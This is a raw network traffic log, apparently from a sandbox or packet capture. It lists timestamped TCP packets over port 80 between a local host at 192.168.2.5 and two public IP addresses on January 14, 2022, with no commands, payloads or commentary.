Jan 14, 2022 21:05:04.025634050 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025645018 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.025671005 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025710106 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025733948 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.025752068 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025805950 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025814056 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.025870085 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025914907 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025919914 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.025952101 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025993109 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025998116 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.026032925 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026070118 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026077986 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.026109934 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026149035 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026154995 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.026185989 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026226044 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026232004 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.026263952 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026303053 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026319027 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.026341915 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026381016 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026388884 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.026420116 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026458025 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026488066 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.026496887 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026535034 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026547909 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.026572943 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026612043 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026619911 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.026652098 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026689053 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026702881 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.026727915 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026757002 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.026778936 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.045309067 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.045386076 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.045389891 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.045453072 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.045504093 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.045511007 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.045563936 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.045609951 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.045658112 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.045697927 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.045722008 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.045753002 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.045784950 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.045789957 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.045806885 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.045829058 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.045903921 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.045928955 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.045969963 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046008110 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046020985 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.046046972 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046086073 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046093941 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.046124935 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046164989 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046171904 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.046201944 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046241045 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046247959 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.046279907 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046318054 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046334028 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.046356916 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046396017 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046412945 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.046436071 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046475887 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046489000 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.046514034 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046552896 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046565056 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.046591997 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046628952 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046641111 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.046668053 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046706915 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046722889 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.046749115 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046788931 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046797037 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.046827078 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046865940 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046879053 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.046905041 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046941996 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.046955109 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.046981096 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.047019005 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.047033072 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.047059059 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.047099113 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.047106981 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.047136068 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.047174931 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.047185898 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.047220945 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.047259092 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.047271013 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.047297001 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.047336102 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.047343969 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.047390938 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.047437906 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.064804077 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.064867020 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.064930916 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.064964056 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.064990997 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065037012 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065054893 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.065082073 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065120935 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065144062 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.065157890 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065197945 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065220118 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.065236092 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065274954 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065293074 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.065315962 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065354109 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065371990 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.065392017 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065432072 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065450907 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.065469027 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065507889 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065526009 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.065546989 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065587044 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065604925 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.065629005 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065666914 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065685987 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.065706015 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065747023 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065763950 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.065784931 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065824032 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065840006 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.065891981 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065932035 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.065953970 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.065972090 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.066011906 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.066032887 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.066047907 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.066112995 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.066214085 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.083736897 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:06.008513927 CET	49789	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:06.025892019 CET	80	49789	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:06.026078939 CET	49789	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:06.026308060 CET	49789	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:06.026468039 CET	49789	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:06.043487072 CET	80	49789	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:06.043517113 CET	80	49789	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:06.146859884 CET	80	49789	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:06.149070978 CET	49789	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:06.149259090 CET	49789	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:06.166460037 CET	80	49789	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:06.391221046 CET	49790	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:06.410156012 CET	80	49790	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:06.410259962 CET	49790	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:06.410383940 CET	49790	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:06.410407066 CET	49790	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:06.428641081 CET	80	49790	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:06.528362989 CET	80	49790	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:06.528562069 CET	49790	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:06.545618057 CET	49790	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:06.562977076 CET	80	49790	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:07.209996939 CET	49791	80	192.168.2.5	54.38.220.85
Jan 14, 2022 21:05:07.229049921 CET	80	49791	54.38.220.85	192.168.2.5
Jan 14, 2022 21:05:07.229170084 CET	49791	80	192.168.2.5	54.38.220.85
Jan 14, 2022 21:05:07.229371071 CET	49791	80	192.168.2.5	54.38.220.85
Jan 14, 2022 21:05:07.248307943 CET	80	49791	54.38.220.85	192.168.2.5
Jan 14, 2022 21:05:07.248344898 CET	80	49791	54.38.220.85	192.168.2.5
Jan 14, 2022 21:05:07.365080118 CET	49791	80	192.168.2.5	54.38.220.85
Jan 14, 2022 21:05:07.446547031 CET	49792	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.464036942 CET	80	49792	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:07.464143991 CET	49792	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.464616060 CET	49792	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.464634895 CET	49792	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.482028008 CET	80	49792	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:07.482053995 CET	80	49792	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:07.585962057 CET	80	49792	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:07.585985899 CET	80	49792	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:07.586074114 CET	49792	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.586312056 CET	49792	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.603574991 CET	80	49792	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:07.675129890 CET	49793	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.694235086 CET	80	49793	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:07.694391012 CET	49793	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.694521904 CET	49793	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.694545031 CET	49793	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.712449074 CET	80	49793	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:07.833252907 CET	80	49793	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:07.833369017 CET	49793	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.833444118 CET	49793	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.851414919 CET	80	49793	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:07.867598057 CET	49794	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.890146017 CET	80	49794	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:07.890275002 CET	49794	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.890427113 CET	49794	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.890439034 CET	49794	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:07.907594919 CET	80	49794	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:07.907619953 CET	80	49794	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.009497881 CET	80	49794	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.009525061 CET	80	49794	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.009620905 CET	49794	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.012442112 CET	49794	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.029870987 CET	80	49794	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.103676081 CET	49795	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.121956110 CET	80	49795	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.122071981 CET	49795	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.122212887 CET	49795	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.122457981 CET	49795	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.139955044 CET	80	49795	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.140573978 CET	80	49795	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.241260052 CET	80	49795	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.241353035 CET	49795	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.241574049 CET	49795	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.258882046 CET	80	49795	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.272573948 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.291704893 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.291832924 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.291976929 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.353967905 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.425224066 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.425311089 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.425369978 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.425378084 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.425441027 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.425501108 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.425502062 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.425565958 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.425625086 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.425630093 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.425684929 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.425738096 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.425746918 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.425802946 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.425857067 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.445313931 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464416981 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464447021 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464468956 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464490891 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464498043 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.464514971 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464535952 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464543104 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.464559078 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464577913 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.464581966 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464603901 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464632988 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.464664936 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.464694023 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464715958 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464739084 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464761972 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464770079 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.464785099 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464808941 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464819908 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.464833975 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464858055 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464859962 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.464881897 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.464907885 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.465162039 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.465220928 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.481925964 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.481956005 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.481977940 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.482016087 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.504499912 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.504528999 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.504575968 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.504650116 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.504671097 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.504695892 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.504700899 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.504719019 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.504744053 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.504745007 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.504760981 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.504863024 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.504878044 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.504901886 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.504928112 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.504931927 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.504951000 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.504973888 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.504987955 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.504993916 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505017042 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505039930 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.505049944 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505089998 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505105019 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.505112886 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505136967 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505151033 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.505158901 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505182981 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505206108 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505211115 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.505228996 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505244970 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.505251884 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505275011 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505291939 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.505296946 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505321980 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505337954 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.505343914 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505366087 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505379915 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.505390882 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505413055 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505417109 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.505434990 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505456924 CET	80	49796	8.209.70.0	192.168.2.5
